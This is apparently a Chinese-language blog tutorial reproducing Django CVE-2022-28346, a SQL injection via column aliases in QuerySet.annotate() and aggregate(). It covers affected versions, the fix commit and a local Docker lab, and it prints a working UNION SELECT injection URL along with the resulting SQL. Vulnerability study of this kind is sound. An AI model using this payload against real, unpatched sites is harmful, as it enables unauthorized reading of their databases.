从零开始的Django CVE-2022-28346复现

本篇适合有Django开发基础，但没有SQL注入经验的人阅读

Django的sql漏洞，一直以为Djano的ORM不会有漏洞，直到我看了Django的官方漏洞列表，每隔几个月就有修补……

Django安全问题档案

4月份的修补，热热还能吃，CNVD评价是高危，看看怎么回事

描述

漏洞编号：CVE-2022-28346

攻击者使用精心编制的字典，通过**kwargs传递给QuerySet.annotate()、aggregate()和extra()这些方法，可导致这些方法在列别名中受到SQL注入攻击

不懂发生了什么，拉个靶场看一下情况

影响版本

Django Django >=2.2，<2.2.28 Django Django >=3.2，<3.2.13 Django Django >=4.0，<4.0.4

官方PR修补

[[3.2.x] Fixed CVE-2022-28346 — Protected QuerySet.annotate(), aggreg…](https://github.com/django/django/commit/2044dac5c6968441be6f534c4139bcf48c5c7e48)

分析&复现

先看靶场代码：

git clone https://github.com/DeEpinGh0st/CVE-2022-28346.git

只有两个路由，第一条负责初始化数据库，第二条负责验证漏洞，使用sqlite作为数据库，基于Django 3.2.11

数据表就id和name两个字段

触发漏洞点

了解一下QuerySet.annotate()是什么东西

https://docs.djangoproject.com/zh-hans/3.2/ref/models/querysets/#annotate

官方示例也是用count方法演示，最终在SQL语句中变成COUNT函数

这里引入脚本之家对于aggregate的说明

聚合函数都是在django.db.models模块下的，具体的聚合函数有Avg、Count、Max、Min、Sum。count用于计算数量

拉取并启动漏洞镜像

docker pull s0cke3t/cve-2022-28346
docker run -d -p 8000:8000  s0cke3t/cve-2022-28346

注意，如果是本地部署的话，主界面只会显示OK字样

http://127.0.0.1:8000/demo?field=admin

看起来的效果跟QuerySet.all()一样

可能会有小伙伴对 unpacking operator (*) 不太熟悉，这个属于 PEP48 引入的的操作，官方文档里面给出了案例

This PEP proposes extended usages of the * iterable unpacking operator and ** dictionary unpacking operators to allow unpacking in more positions, an arbitrary number of times, and in additional circumstances.

**号用来拆分字典，常被用来读取kwargs内容（获取dict中的value），多用于函数传参，下面是一个example

a = {'a':2, 'c': 1}
def fun(a,c):
    print(a)
    print(c)
fun(**a)

SQL注入POC

http://127.0.0.1:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --

配合db.connection，可以看到实时的sql语句

from django.db import connection
#添加到末尾处
print(connection.queries)

sqlite_version()是sqlite的函数，返回当前当前 SQLite 服务器版本，配上前面的1和后面的3正好形成3列，而—则把后半部分语句给无效化

可以看到打印出来的SQL语句不一样

SELECT "demo_user"."id", "demo_user"."name", COUNT("demo_user"."name") AS "admin" FROM "demo_user" GROUP BY "demo_user"."id", "demo_user"."name"

出来的是一个3列的表

sql注入产生了

SELECT "demo_user"."id", "demo_user"."name", COUNT("demo_user"."name") AS "demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" 
--" FROM "demo_user" GROUP BY "demo_user"."id", "demo_user"."name"

只能说这个注入方式，首先得知道django ORM 的写法，其次还得找到拼接点，属实不易

参考资料

Docker镜像提供方以及他们对于漏洞发生点的分析：

乌特拉安全实验室丨Django CVE-2022-28346 SQL注入分析

其他收录了漏洞的仓库

https://github.com/H3rmesk1t/Django-SQL-Inject-Env

往年的漏洞

我最早应该是看到这个雷神众测的这篇，没注意收藏，所以变成了本文的分析

Django order_by SQL注入漏洞分析（CVE-2021-35042）

结语

在我那短暂的参与蓝鲸智云项目的时间里，并没有用上QuerySet.annotate()、aggregate()和extra()这些方法。官方最终以加入check_alias对聚合参数进行检查作为修补方案。个人感觉触发漏洞的概率不大。

做蓝鲸智云的项目确实开拓了个人的视野，使我有机会接触DJango和DRF框架，我也是第一次知道ORM这么一个新兴事物。这个漏洞也在提醒我们：ORM的存在并不能彻底杜绝SQL注入的情况，相关SQL注入的漏洞依然有很大机会被挖掘出来。